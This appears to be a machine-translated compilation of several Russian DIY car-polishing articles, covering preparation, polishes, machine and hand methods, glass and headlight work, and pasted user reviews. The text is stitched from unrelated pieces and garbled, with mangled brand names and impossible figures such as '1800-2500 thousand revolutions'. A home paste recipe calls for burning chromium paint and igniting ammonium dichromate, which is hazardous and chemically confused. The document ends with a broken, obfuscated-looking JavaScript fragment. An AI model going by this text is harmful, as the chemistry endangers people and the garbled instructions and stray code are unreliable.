What cloth to polish the car. Available about DIY car polishing

Why polish your car? A layer of wax makes any, even not too expensive, car more presentable and attractive. Transparent film protects iron horse from dirt and scratches, preventing the appearance of corrosion and increasing the service life vehicle. But polishing a car in a car repair shop - expensive pleasure, That's why experienced drivers prefer to take care of the car at home.

Preparation

The procedure is carried out in the garage. If it is not possible to hide the car indoors, then choose a day when there is no rain and strong wind otherwise the dust will mix with the polish, leaving small scratches on the surface.

The car is placed in the shade. The body is hot because of the sun, and paints and varnishes overheat, do not fit well and release toxic substances. The car is not polished in late autumn and winter, when the temperature drops below +6 degrees.

Before the procedure, it is recommended to visit a car wash or independently clean the vehicle from dirt, pieces of resin and dust. close up deep scratches. minor damage you can leave it, but then instead of transparent, use a colored polish.

After washing the car, carefully wipe it with a soft, clean cloth. In the room where polishing will take place, general cleaning is arranged. Sweeping floors, wiping racks and taking out all trash. When the car is dry and the garage is perfectly clean, proceed to the second stage.

Tools and materials

What polish to choose for home use? Waxy varieties mask chips and fill cracks, but attract dirt. A vehicle coated with a vegetable or animal based product will lose its shine after 1-3 washes.

Synthetic options are more resistant, repel dirt and water droplets. Silicone-based polish will last for 2-3 months. At home, use the means protective type containing no abrasive particles.

Cover the body and liquid glass. The tool will cost more than a wax polish, but the effect of using such a composition is longer. Liquid glass does not mask scratches, but only creates a protective film and shines beautifully in the sun.

The polish comes with a soft sponge. Microfiber cloths or baby diapers will do. When choosing a rag for polishing the body, three criteria are guided:

• The material absorbs moisture well.
• There are no dirt, paint stains or pellets on the napkin or towel.
• The cloth is not too hard and lint-free.

Rough rags leave small scratches on the surface of the body, contribute to paint peeling and rust.

Manual polishing lasts from 5 to 15 hours. A special machine will speed up the process. The technique is equipped with soft discs made of cotton fabric or felt. They evenly distribute silicone and wax products over the surface of the body, facilitate work and reduce polishing time by 3–4 times.

Owners special equipment use thick formulations that last longer liquid wax. With the help of a machine, they not only polish the car, but also remove the old layer of paint into which dirt has eaten in, eliminate minor and gross defects, and protect the iron horse from corrosion.

Standard procedure

If there is no special equipment, you will have to work with your hands. Plastic and rubber parts, as well as windows, are recommended to be sealed with adhesive tape. The polish is difficult to clean without damaging the glass.

Important: Doors and windows in the garage are opened, and a respirator or gauze bandage is put on the face. Polishes emit chemical fumes, which in small doses do not harm the body. But you will have to work with the trains for 5-10 hours, and if you neglect the safety rules, you can get poisoned.

The machine is polished in two stages:

1. A wax or silicone agent is applied to a clean surface. Capture a plot measuring 50x50 cm, no more.
2. Wait 1-2 minutes until the polish dries, then grind it.

Start from the top of the car, gradually lowering. There should be no sharp transitions or unworked areas between the squares. Do not apply too much pressure to the cloth.

What happens if you wax the entire car? The composition will dry quickly and you will have to go to the auto repair shop so that the professionals will remove the polish along with the paint, and then apply a new layer. The procedure is long and expensive, so experimenting with a car is not recommended.

If the polish gets on the glass or mirror, the part is immediately wiped with a dry cloth, otherwise there will be stains that are difficult to get rid of. Polishing wipes are changed regularly, because paint particles stick to them, which leave noticeable scratches on the body.

Silicone and wax formulations applied in small doses. A thick layer of the drug is difficult to evenly distribute over the car.

Machine upgrade

Dirt has eaten into the paintwork and is not washed off? Are there deep scratches on the body or doors? The car was recently painted, and it's time to polish the iron horse? Simple compositions are not enough. You will need preparations with abrasive particles that remove the top layer of paint, and polishing machine or a drill with special nozzles.

In the store, ask for a “numbered” polish. Professionals use preparations No. 1, 2 and 3. It is advisable to buy nozzles for polishing machine or drills. Additionally, purchase waterproof sandpaper. Choose a fine-grained option, for example, No. 2000.

The plastic parts of the car are sealed with masking tape. Wear a respirator, protective suit or old clothing, and rubber gloves. Open the windows in the garage, and then start polishing:

1. Degrease the surface of the car with special wipes. Do not touch the machine with your hands, otherwise greasy traces will remain, on which the product does not fit well.
2. Moisten the sandpaper with water and sand the body, roof and doors. In order not to get confused, the treated areas are marked with strips of adhesive tape. Sandpaper moves from top to bottom. Do not apply too much pressure to avoid damaging the paint. Moisten the skin periodically with water.
3. Apply to a small area polishing agent No. 1 with abrasive particles. Rub the preparation polishing machine. Use cloth or leather discs. Hold the machine at a right angle so as not to scratch the car. During polishing, wet the surface with water.
4. The first, rough, processing is designed to mask scratches. After sanding, the car is washed, then polish No. 2 is used. The tool will fix the result.
5. The car is washed a second time, then polish No. 3 is applied, without abrasive particles, or liquid glass. The drug repels dirt and water, is responsible for the shine of the car.

IN hard-to-reach places and next to sharp corners It is recommended to turn off the machine and apply the polish manually. The effect will last 3-4 months, then the coating becomes dull, and it has to be renewed. It is recommended to apply natural wax products. They are softer than synthetic options and cheaper.

Polishing a car is not difficult, but it takes a long time. The result depends on the skill of the motorist and the quality of the materials that were used in the work. Therefore, it is recommended to carefully prepare the iron horse for polishing, not save on preparations and do everything with love.

Video: how to quickly and easily polish a car

You can polish a car at home in two ways, each of which is performed with a different tool / improvised means.

How to polish a car with an abrasive method?

Using a tool that provides the ability to adjust the speed, rough polishing is performed - the restoration of the paintwork, subject to the presence of deep scratches, roughness, etc. Frequency - no more than 1 time per year. The factory varnish, applied over the paint, is able to withstand 10 rough treatments. Subsequent - damage paintwork resulting in corrosion. You can learn how to properly polish a car with your own hands by watching a few videos on the net, but this will not guarantee a perfect result. Outcome - better polishing entrust the car body to specialists http://lrsauto.ru/polirovka.

What will be needed?

• electric or pneumatic polishing machine;
• nozzle with Velcro of the appropriate diameter for circles (discs); Usually fastened with a 14 wrench.
• two types of foam disks; Typically one for the abrasive paste and the other for the gloss.
• abrasive pastes 3M 09375 and 3M 09377;
• protective paste;

It is enough to buy an inexpensive wax paste. In the common people - "turtle". Based on the experience and published practical developments of painters and bodybuilders, best material on domestic market is a 3M product. Ideal for independent use, while leaving the choice between the tool.

How to polish a car with an abrasive?

The vehicle must first be washed and degreased. Treat the place with water. The paste itself is applied to the foam disk (acts as a humidifier for the latter), and only after that, in a circular motion(the machine is turned off) is rubbed on a 60 × 60 cm area. Immediately after the paste is evenly distributed between the 3M 09550 Perfect-it polishing pad or the woolen variety of the last 01927, mandrels 09552/3, you need to turn on the machine and get to work. Optimal Speed rotation - from 1,500 to 2,500 rpm. You need to start with small ones - 200-400 rpm, gradually increasing their number.

Note! Be sure to take into account the ratio of the speed of rotation of the polishing pad to the flow state of the paintwork, since the latter is subjected to significant heat.

The force of impact on hand tool and, accordingly, car body elements should also be distributed. Flat surfaces are polished with medium or light pressure. In places of bends, sharp transitions of body geometry, you should be a little more diligent. The physical state of the paste also regulates the intensity of exposure. As it dries, efforts should be moderated. Since the paste is coarse grained, there is a very high chance of minor circular scratches, especially on black paint. These can be removed by changing the mentioned abrasive to 3M 09376 Perfect-III and polishing pad 09378 of the same system.

The advantages of such polishing are not only the possibility of restoring the original appearance of the vehicle, but also making adjustments to the unsuccessful painting, which was preceded by body repair – effective removal The abrasive method is ideal for home polishing, as it is fully designed to remove scratches and scratches that may have appeared after grinding

• 3M 260L discs (grit P1200, P1500);
• 3M Perfectit Magic water sanding paper (P1500 and P2000).

How to polish a car with a protective method?

It can be embodied by available improvised means, for example, rags or special napkins. It occurs if the factory or repair paintwork is in good condition - there are no crack rays and deep scratches. Otherwise, the mentioned ones will become too noticeable against the general background of the resulting gloss.

Before starting, a rag or napkin needs to be moistened, and only then apply 3M 09377 paste. They start working with large body elements: hood, roof, trunk and, only then, doors. So, for example, the hood, like the roof, is best divided into 4 equal parts. Saving time, as well as exclusively zonal processing, will help to avoid the appearance of defects, as a result - the use of a mechanical tool and the purchase of the corresponding foam pad 05729.

Note! Regardless of the method used, the full end result will appear only after washing. With a fine paste, you can remove shallow scratches from branches or slight oxidation. All actions are limited to circular motions, regardless of geometry body element. The application of a protective layer, from a practical point of view, will protect the glossy coating from minor mechanical damage and sunburn. Gels with aerosol formulations or the addition of silicone, liquid glass have proven themselves well.

How to polish a car with your own hands after a body repair?

If we are talking about zonal restoration: straightening, priming, puttying and painting with a transition to factory paint and varnish, then polishing must be done with a transition. It is necessary to operate not only with a skin of a certain gradation (for example, P2 000), but also with a special bar that provides the necessary downforce in places where paintwork was sprayed on a third of the factory varnish / paint. An ordinary eraser, but of the appropriate size, can become a profitable and convenient replacement for a bar. You can buy it at the office. Thanks to this replacement, it becomes possible to simultaneously machine several adjacent faces, for example, on wings or arches.

Compliance with the direction will be displayed on the final result. Horizontal in relation to the processed plane is considered optimal.

It is important to know! The skin must be thoroughly washed throughout the work. This will prevent damage and scuffing. Microfiber polishing is the most common. There is no pile on it, and the structure is as uniform as possible. Unlike napkins, the possibility of reuse after washing is considered.

How to properly polish a car?

It is best to stick to the system, for example, the same 3M brand. To any standard system includes:

• two polishes;
• discs and rags;
• mounts for the above.

The advantage of the system lies in the plane of the maximum combination of abrasive particles, respectively, the degree of their subsequent overlap, and so on until the gloss is obtained. Thus, the answer to the question of how to polish a car at home are ready-made kits, which are a well-thought-out set of practical measures that even take into account color.

The average time spent on all vehicles is from 6 to 8 hours, subject to the availability of a car. Manual polishing with a rag will take two or even three times more time. The latter is applicable to those cars that do not leave city roads, do not have deep paintwork damage. In any case, between protective procedures it is necessary to withstand two or even three months.

What is car polishing for? First of all, it is necessary so that the car retains its original condition for as long as possible. appearance. In addition, the polishing layer protects the surface of the machine from the damaging effects of moisture. That is why polishing is extremely important for any car! In this article, we will tell you about what polishing is, how often it needs to be done, and how to polish the car yourself. Do-it-yourself car polishing will help you save a lot on car care, and also guarantees you an excellent result.

car polishing

Car polishing can be used for different purposes, depending on which it is divided into 2 types:

1. protective polishing of the car body, windows and headlights - it must be done 2 times a year (before winter season and with the onset of spring). The task of this type of polishing is to protect the paintwork of a car from an aggressive external environment (snow, rain, wind, pieces of bitumen, asphalt, insects, etc. on the surface of the car). The essence of the procedure is that the entire surface of the machine is treated with non-abrasive substances that are “absorbed” into the existing layer of varnish and paint;
2. abrasive polishing of the body, windows and headlights of the car - it is carried out only in case of serious defects in the coating of the car ( deep cracks, scratches that catch when you run a fingernail across them, small chips and other defects). The task of this type of polishing is to restore the appearance of the car. Its essence lies in the fact that with the help of highly abrasive materials (pastes, liquids, aerosols, sandpaper and special grinding discs), the damaged surface layer is “cleaned off”, and a new layer of polish is applied in its place, which restores the surface.

It is also worth noting that all substances for polishing cars differ in the form of release and in their composition. Depending on the form of release, they are in the form:

• thick pastes - the most effective in work,
• liquids - less effective than thick pastes, and also inconvenient to work with vertical surfaces,
• aerosols - the least effective, but at the same time the cheapest version of reducing agents, giving only a cosmetic effect.

As for the composition of all "auto chemistry", it is made either on the basis of wax (of animal or vegetable origin) or on a polymer basis. At the same time, polymeric products are more preferable, because although they are not cheap, they are more durable and of high quality. The most reliable manufacturers of "autochemistry" are ZM, R-M, Meguiars, SIA, Sonax, Wurth.

Do-it-yourself car body polishing

Now it's time to talk about how to polish the car body with your own hands. Immediately make a reservation: this process is time-consuming, requiring care and patience. First of all, make sure that you polish in the right conditions - ideally, if it is a garage or any other room that excludes sunlight from hitting the surface of the car. Choose a day that is not too hot, because the heat will quickly evaporate the ether and solvent from the polish, as a result of which it dries quickly, making it difficult to work. Make sure that the room is very clean - any ingress of sand or dust during the polishing process will play a cruel joke on you.

The entire polishing process can be conditionally divided into stages.

Stage number 1 - preparatory. First, the car must be washed and dried, removing bitumen, insect and plant residues with special detergents.

Stage number 2 - degreasing the surface. This is necessary in order to ensure better grip polishes and varnishes. You need to degrease the surface in parts, using special deep cleaning products and soft flannel rags for this.

Stage number 3 - the actual polishing. It can also be divided into 2 stages depending on the complexity of the damage. If the surface is severely damaged, then it will first need to be treated with a thick agent with low abrasiveness (600 or 1000). If you are polishing the car by hand, then shake the tube with the product and apply the substance directly from the bottle onto a surface area of ​​50x50 cm, let it dry for 2 minutes and wipe off the product from the surface using special polishing wipes in a circular motion. A special machine for car polishing with 1500-4000 rpm, which is a hand drill with a grinding disc, on which special grinding surfaces are fixed with Velcro, can save time and effort.

When grinding with abrasives is finished, it's time for non-abrasive products, which are applied and polished similarly to abrasive ones, but at lower speeds (1000-1500 rpm). It's great if the final stage of the work is the application of a protective polisher at a speed of 3000-4000 rpm. It will fix the main polish, extending its life.

Now it remains only to check the quality of work: pour water over the car. If it collects on the surface in large drops, and does not just flow down, then everything is fine! After polishing, leave the car to "rest" for 24 hours, and you're good to go!

Car glass polishing

The second most important procedure is car glass polishing. Of course, when the windows become cloudy, making it difficult to see the road, it is easiest to buy and insert new ones, but this is expensive. More economical is the polishing of car glass from scratches. In this subsection, we will tell you how to polish a car with minor damage.

First we wash the car, especially the glass. Then we circle all the damage from the inside with a marker so as not to lose sight of them in the work. Now we close the car with a film, cutting through it in those places with which we will work. We fix the film with masking tape to protect the surfaces from splashes and polish.

Now we begin direct work with glasses. Places of damage are washed with special glass cleaners. While the glass is drying, prepare the polishing compound by diluting the polishing powder with water. As a result, we get a creamy substance. We also need a spray gun with clean water. We apply the polish to the felt disk on the drill and rub it on the glass. Then we connect the polisher and slowly process the surfaces at a speed of 1500-1700 rpm, periodically spraying the glass with water from a spray bottle. At the end of polishing, wipe the glass with paper towels and check them for light.

Do-it-yourself headlight polishing

Do-it-yourself headlight polishing, as well as glass polishing, will help solve the issue of improving visibility on the road. If you find that the headlights illuminate the road worse, do not rush to change the lamps. Maybe, simple polishing do-it-yourself headlights at home will solve the problem. At its core, headlight polishing is similar to glass polishing. To take away small scratches and cracks on the headlights, it is necessary to remove the surface protective layer of plastic and fill these defects with special polishing agents. Naturally, after polishing, you need to cover the headlights with transparent acrylic, which will perform the protective function of the headlight glass.

We start polishing the headlight by protecting the car body with a film and masking tape. After that, we clean the headlights with special means or a solution of vinegar, and then wipe them dry with a cloth. If the headlight requires polishing from the inside, then we remove it from the car. In all other cases, we polish on the spot.

Similarly to polishing the body and glass, we first treat the surfaces with abrasives with a grit of 1000 or 1500 using a polishing machine and felt discs.

Then we alternately apply products with abrasiveness of 2000 and 2500 to the headlights. This is necessary in order to remove the consequences of the previous product. Periodically during the processing process, pour water on the headlight to wash off particles of plastic and abrasives. As a result of the work, we get a matte surface, on which we apply car polishing pastes of different abrasiveness. After these funds, we apply a polisher to the surface of the headlight and grind it at 1200-1500 rpm using a polishing machine. At the end, we rub the remains of the polishers with special velvet or microfiber cloths and admire the results of the work!

Car polishing performs at least two functions - aesthetic and protective. In the first case, scratches on the body, inevitable during operation, are removed and a glossy sheen is returned. In the second, the paintwork of the car acquires protection from aggressive environment. This procedure is not easy, so good result you will need theoretical basis and work algorithm. Only by choosing the right car polish and following the rules of polishing with your own hands, you can achieve results and not harm the paintwork of the car.

When is polishing the car body needed and what types of it are

First of all, you need to determine the state of the paintwork, the choice of materials and the type of polishing depends on this. In some advanced cases, polishing will not help. If the scratches are deep and have reached the ground paint or metal, then it's time to get interested in the topic of painting the car. When the damage is shallow or there is a clouding of the body coating (dullness, abrasion, paint or plastic residues after a light accident), we can safely recommend polishing the car mechanically.

• Mechanical (it is also restorative) polishing involves removing the top layer of varnish. Without some skill, there is a risk of removing all the protective varnish or even damaging the paint (especially when using a power tool). You should not immediately run for a grinder and polish the entire car on the fly. Start with an inconspicuous small area by hand or with a power tool, but at minimum speed. But before that, choose the right polish, prepare the tool and learn the sequence of actions well.
• Protective polishing - more sparing for a covering. She does not remove the layer, but fills in cracks and “scratches”. 80% of the composition of such polishes is wax, and 20% is chemistry. Together they repel water and dirt, and in winter period also protect against reagents. It is applied quickly and easily, but does not last long (5-7 washes). There are more resistant varieties, but about them below. Mechanical polishing without protective quickly loses its properties.

"Holograms" on the body of a car after not professional polishing

What do you need to do it yourself

For restoration polishing we need:

• car shampoo;
• solvent No. 646 or mineral clay;
• Sander.
  The ideal option is with an orbital head, but the usual one will also greatly facilitate the work. You can work manually, but the execution time will increase several times and the quality result will be worse, but the risk of damaging the coating due to inexperience is minimized;
• abrasive polish of the required grain size;
• finishing polish;
• one hard and one soft grinding wheel;
• one soft suede rag (preferably a pair);
• water sprayer.

You can also make your own polishing paste. True, for this you have to burn paint containing chromium, oxidize ammonium dichromate and evaporate hydrochloric acid at home. Therefore, if you are a chemist, then you will find the recipe, and if not, then do not mess with it. There are many options on the market for every wallet.

Choosing the best polish: opinions, ratings and reviews

In the current variety of goods, it is difficult to choose a decent option at an adequate cost. Poor-quality materials can negate all your work, so you should focus on the leaders. The realm of polishing is ruled by two: 3M and Farecla.

Each type of product has its own polishing wheel.

The first is “sharpened” for professionals. Due to the large packaging (from 1 kg), the starting price also increases (from 1,500 rubles for 1 type of polish). "Farekla" in this regard is more affordable - packaging from 250 grams at a price of 400 rubles. They are equal in quality. A small package is enough to polish a car twice. And if you consider that it is recommended to process a car with factory varnish with abrasive paste no more than 5-7 times (this is with professional hands, no more than 3-4 for amateurs), then one kilogram will obviously be superfluous.

There are truly many varieties of Farecla brand products.

After assessing the condition of the body, it is necessary to decide which abrasive fraction to choose. There are:

1. Large - 09374 from 3M or G3 from Farecla. Use when big scratches and pronounced haze of the body;
2. Small - 09375 or G6. Recommended for light matte and a small number of small scratches, removes a smaller layer of varnish;
3. Finish - 3M has code 09376, Farekl has G10. The finishing paste eliminates the shortcomings of the first two and gives the paintwork a glossy sheen.

Now the manufacturer "ZM" has released an improved version with a green cap and code - 50417. This polish is positioned as a universal polish and replaces the first two points.

Please note: Koch and Menzerna are also popular in professional circles. They are more expensive and harder to find on sale, but the quality is at a high level.

Menzerna is a German professional polisher that deserves best reviews users for several years

Without protection, the shine will not please for long, so let's move on to choosing the next type of polish.

Protective layer: how to choose good materials

There are even more varieties and the spread in prices is significant. Let's break them down by composition:

• wax - the most common, easy to use and cheap type of protective polishes. Almost every car wash has a waxing service;
• synthetic, which are further divided into three types:
  • restorative - a weak replacement for abrasive polishes;
  • silicone - quickly applied with a spray, but quickly washed off (an alternative to wax);
  • polymeric - full synthetics, which must be applied carefully and for a long time, but the protective properties last up to six months (a significant minus is the price);
• polishes with nanoparticles (popularly "liquid glass") - progressive look material provides protection for 6-8 months. Can be various forms, including the aerosol type. Difficult process application, but as a reward you will receive a beautiful shine of the car (especially black).

The most popular companies and reviews of their products

The table below shows the most popular brands for the production of protective polishes.

Hi-Gear "Restorer". The problem was that the body color over many years of use burned out quite badly and acquired various stains. I started with the hood. Traces of mosquitoes and flies were cleared quite easily with almost no effort. With white smudges from the last polish, I had to sweat a little, but the result pleased me, they were not 100% left. The color of the treated area was radically different in saturation and brilliance from the untreated areas. Gradually went through the entire car, spending a total of two hours. As a result, oil and bituminous spots completely removed from the body, the color of the car turned out like a new one. Fuel smudges near the gas tank were removed almost completely. The applied polish "Restorer" was perfectly hand washed, the color remained the same all summer. I recommend to all owners of old cars and for pre-sales preparation, you can not paint a car with small defects in the paintwork.

review_2154088.html

polish Turtle Wax Plus PTFE - expensive but effective. If everything is done wisely, then the polish is excellent, it gives shine and restores color, of course it does not mask scratches, but in principle it copes with small scratches. The price of the polish is good, but enough for many times, I polished it three times and there is still more than half of it left. The smell is pleasant, a bit cloying though. In the morning after the rain, the car immediately differs from the neighboring ones, since the drops all hold on, and do not “dry up” into the body. Dirt doesn't stick to the car. Enough for two or three washes.

anufriev-pr

http://otzovik.com/review_2540156.html

The Sonax polish itself with the addition of a coloring pigment. That is, under a certain range of colors. In my case under silver metallic. Distinguishing the difference between "before" and "after" polishing is visually quite difficult with my color. But the tactile feel is very strong. Surface roughness is gone. Everything is smooth and shiny in the sun. Small cracks are repaired special pencil that comes with the kit. After that, you need to re-pass the polish itself. The pencil itself essentially clogs the crack under the polish with wax. Quite a trifle hawala with a bang. Chips and scratches larger by itself to no avail. Well, it's not meant for them. Nevertheless, I am pleased with the result. Sonax justified its price.

Wicked Safety

https://www.drive2.ru/l/6568971/

The husband doubted the quality of the Sapfire car polish, because the price is ridiculous compared to others. But I decided to check anyway. The result was excellent. Sapfire car polish applies well, provides reliable protection body, gives shine and water-repellent properties.

http://otzovik.com/review_268445.html

I bought a special Willson cleaner to prepare the body for polishing "Glass Body Cleaner" and the polish itself for dark cars car "Body Glass Guard". I washed the car 2 times, washed it early in the morning, until there was a scorching sun and the car was cold, wiped and rubbed everything again and began to apply the cleaner. It took me about 4 hours with a sink, or even more, I got so carried away that I forgot about the time. After the whole process, the car must stand for at least 2 hours to set the composition, you can not wash it with chemistry for 7 days, the composition completely crystallizes during these days. What I noticed right away is the shine, the difference is very visible. It was raining all this weekend - the drops really collected on the car into larger ones and easily rolled off from the wind, when I drove onto the highway from the dacha, the car became dry in an instant, it was fun to watch how, when picking up speed, one giant and small drops formed on the hood easily flew away in a direction unknown to me) In short, I advise you, it really works!

grinngolder

https://www.drive2.ru/l/288230376152410795/

Good people from the car market advised me to buy a wax polish from the American company Meguiar's. From the Internet, according to reviews and photos, I realized that better polishes have not yet been invented. In short, the result is obvious: the web is no longer so noticeable, the color is deep, the shine is mirror-like, the drops bounce off in the rain, i.e. moisture protection works and the bodywork is cleaner for longer. You can even polish the headlights, the result is excellent. Polished with fiber, without much effort. It remains to be seen how long this gloss will last. I am satisfied with the result, the bank is large, the consumption is scanty, the price is good. In general, I advise!

stalkerr81

https://www.drive2.ru/l/4169530/

Any of the submitted materials deserved, according to the survey participants in 2015, the maximum marks in the rating. We assume that with materials for self polishing you have decided. So, you can proceed directly to the process itself.

Step-by-step algorithm: polishing lessons at home

Mechanical (abrasive, restorative) polishing is the most time-consuming, so let's start with it. It is carried out in stages:

• Washing the car (preferably with car shampoo).
• Additional cleaning (joints).
• Pasting with adhesive tape plastic parts and lights that are in contact with the body.
• Grinding with coarse abrasive (G3, 09374, 50417 or similar).
• Removing residual material and rubbing the body with microfiber.
• Sanding with finishing polish (G10, 09376 or similar).
• Application of a protective layer (wax, polymer or "liquid glass").

1. The first stage is familiar to every motorist. Washing the car is not difficult, just pay attention to the joints and recesses, there should be no dirt left in them. If an inconspicuous pebble gets under the wheel of a grinder, then you will get a lot of scratches in a couple of seconds.
   Without a thorough cleaning, all the work will go down the drain!
2. After washing, it is worth inspecting the condition of the body again. Residual tar or other stubborn dirt should be removed with #646 thinner or mineral clay. You will be surprised how much dirt remains on a washed car. If additional chips or small but deep scratches are found, they need to be tinted with a special corrective pencil. It will also be good to degrease the body.
   What mineral clay looks like

   Choose equipment based on your capabilities and self-confidence. Working with any grinder requires adaptation and getting used to. There must be a speed controller. Start with the minimum, then raise to the optimal working ones (manufacturers of polishes indicate on the packaging the pastes recommended for them). Usually it is in the range of 1800-2500 thousand revolutions.

   
   For any type of grinder, you should choose the right set of polishing wheels

   Orbital sanders provide a more even finish and minimize the risk of damage. Disadvantages - high starting price and vibration during operation.

   
   Orbital machines are somewhat more difficult to work with.

   If in doubt, then limit yourself to the manual method. The result will not be drastically different, only you will have to spend much more physical effort. Polishing by hand is less durable, but if a high-quality protective layer is applied at the last stage, the argument becomes irrelevant.

   
   Hand polishing is exhausting, but some car owners report losing extra pounds while working!
3. Polish after drying is very difficult to remove, so secure the plastic elements of the body. Anything that can be taken off, take off rear lights, For example).
4. After completing all preparatory work you can go directly to polishing. If you are using a power tool, make sure the grinding wheel is clean. Mark the area for processing. Don't take on a large area at once. Take one door, part of a wing or half a hood for processing at a time. This makes it easier to control the process and prevent premature drying of the product.
   Don't let the product dry!

   Apply a little polish to the sanding disc or to the part itself (excess material will dry out faster + wasted). Spray some water and run the machine at minimum speed. "Feel" her work and only then raise the speed to the workers. Correct work with tool:

   • movements should be slow and smooth;
   • move the grinder from left to right or from top to bottom (or vice versa). When polishing in a circular motion, a “hologram” will appear - uneven visible polishing;
   • the circle should fit the entire plane, without slopes.
5. Regularly check the surface temperature, you can use your hand. Touch the polishing area and if it's hot that your hand cannot be held - stop grinding and cool the area with water (or just wait until it cools down). The optimum temperature for polishing is 50–60 degrees. Then the polish interacts with the paintwork as efficiently as possible. When overheated, the varnish is destroyed, and the consequences of unsuccessful polishing are more difficult to eliminate.
   Control the speed and be sure to let the car rest from overheating

   With manual processing, the movements must also be in a horizontal or vertical plane (without circular ones). Pay attention to the pressure. Temperatures you can't reach with a power tool. Therefore, concentrate on small areas and work them carefully.

   
   Work out section by section, movements are smooth, haste will not give a result
6. The result should be a matte surface without scratches. Wipe the body with a microfiber cloth. The goal is to remove the remnants of the polish and get the primary shine. Using the same technology, we apply a finishing polish and wipe it.

Video on how to properly polish a car with a paste and a machine

Video about the technology of express car polishing manually with a drill or a screwdriver

Protecting and finishing touches

The car is already beautiful and shiny, now you need to save this effect. After experience gained, applying a simple wax or synthetic polish will not cause you problems. The technology comes down to a simple one: spray (apply) and rub well. If you decide to use a nano-polish of the “liquid glass” type, then you will have to repeat the work done above.

Last tips:

• polish in a well-lit, ventilated area. If you work outside, avoid direct sunlight and dust;
• water and a microfiber cloth will help to remove the remnants of the dried polish. Soak and dry.

Restorative polishing without protective polishing does not make sense. The effort you put in will quickly go unnoticed. But the opposite is quite possible. Regular protection with wax or similar once every 2-3 months will help to delay the need for mechanical polishing by several years.

Helps to solve several very important tasks. By applying polish to the surface of a car, you will simultaneously provide:

• protection of the impact of external atmospheric influences;
• protection against destruction of the body by aggressive environments;
• corrosion prevention;
• long-term preservation of the integrity of the car paintwork;
• removal of scratches, chips and microdamages;
• protection of car painting from fading;
• spectacular shine.

Car body polishing

modern industry offers consumers wide choose car body polish. This is a polymer polish car wax, liquid glass, as well as various other options.

However, some car owners do not really trust industrial products, preferring to prepare a polish and apply it to the surface of the car body at home.

Body paint restoration

How to make car polish

Before taking on independent production composition for polishing a car at home, you should know that this product should contain an abrasive and a binder component in its composition. In its role, you can use fats, water or silicone.

Please note that fats cannot be removed with water - this will need to be done with a dry rag. So, let's start cooking:

1. Cooking abrasive. To do this, we produce fine-grained chromium oxide. We get it according to the following algorithm:

• we burn chromium-containing paint on a fire or with a soldering iron;
• we take ammonium dichromate purchased in advance and set it on fire. We wait until it oxidizes;
• we evaporate the hydrochloric acid formed during the oxidation process.

We polish the car body

1. We prepare the connecting component:

• 0.2 stearin - it can be obtained by cooking laundry soap and then mixing the resulting substance with acetic acid;
• 0.1 laundry soap;
• 0.7 chromium oxide;
• 3 drops of kerosene.

All parts are mixed in a heated state. Great care must be taken here - stearin is a flammable substance.

After all the above operations, the polish for the car body is ready - you can use it.

The process of polishing a car body at home

Before polishing your car, you need to wash it thoroughly. You can do it at the car wash or by yourself. The main condition is the complete removal of dirt and dust from your four-wheeled friend. After washing, the entire surface must be thoroughly dried. Next - conduct a thorough degreasing of the entire surface of the car body with white spirit.

It is necessary to remove all the fat layer and small spots from the car in order to prepare the surface as best as possible for applying the polish.

Using a sponge and polishing machine, the composition is applied to the surface of the car. In this case, the polishing machine should operate at minimum speed. It is best to process the machine in parts.

Polishing with power tools

After applying the composition, allow 15 minutes for absorption, and then polish. If you process the whole car as a whole, you will not have time to polish it in a short time. And after 15 minutes, the composition will begin to solidify, and will not give mirror shine making the surface cloudy.

All difficult places are best handled manually - using a machine, you can not calculate and damage the paintwork. To prevent this from happening, you should use felt and microfiber.

As a finishing agent, you can apply a fixative - it will give the surface of your car a wet sheen. This will be the final chord in your work.

After finishing, we inspect the surface from different angles for streaks and traces of polish. If everything is in order and you are satisfied with the inspection, the process can be considered complete.

Wipe your car with microfiber

Conclusion

To polish the surface of your car, you can contact a special service or do it yourself. Many motorists are not very eager to trust their cars to the wrong hands. Therefore, with all the stages - from the preparation of the composition for polishing to, in fact, the polishing process itself - they try to cope on their own.

There are many recipes that allow you to make polish at home. Each motorist has his own cherished secrets that will help protect the body of the car from negative external influences better than others.

This may be dictated not so much by the desire to save oneself from unnecessary financial expenses, but by the ability to ensure the most conscientious approach to solving the problem.

// o;o++)t+=e.charCodeAt(o).toString(16);return t),a=function(e)(e=e.match(/[\S\s](1,2)/ g);for(var t="",o=0;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e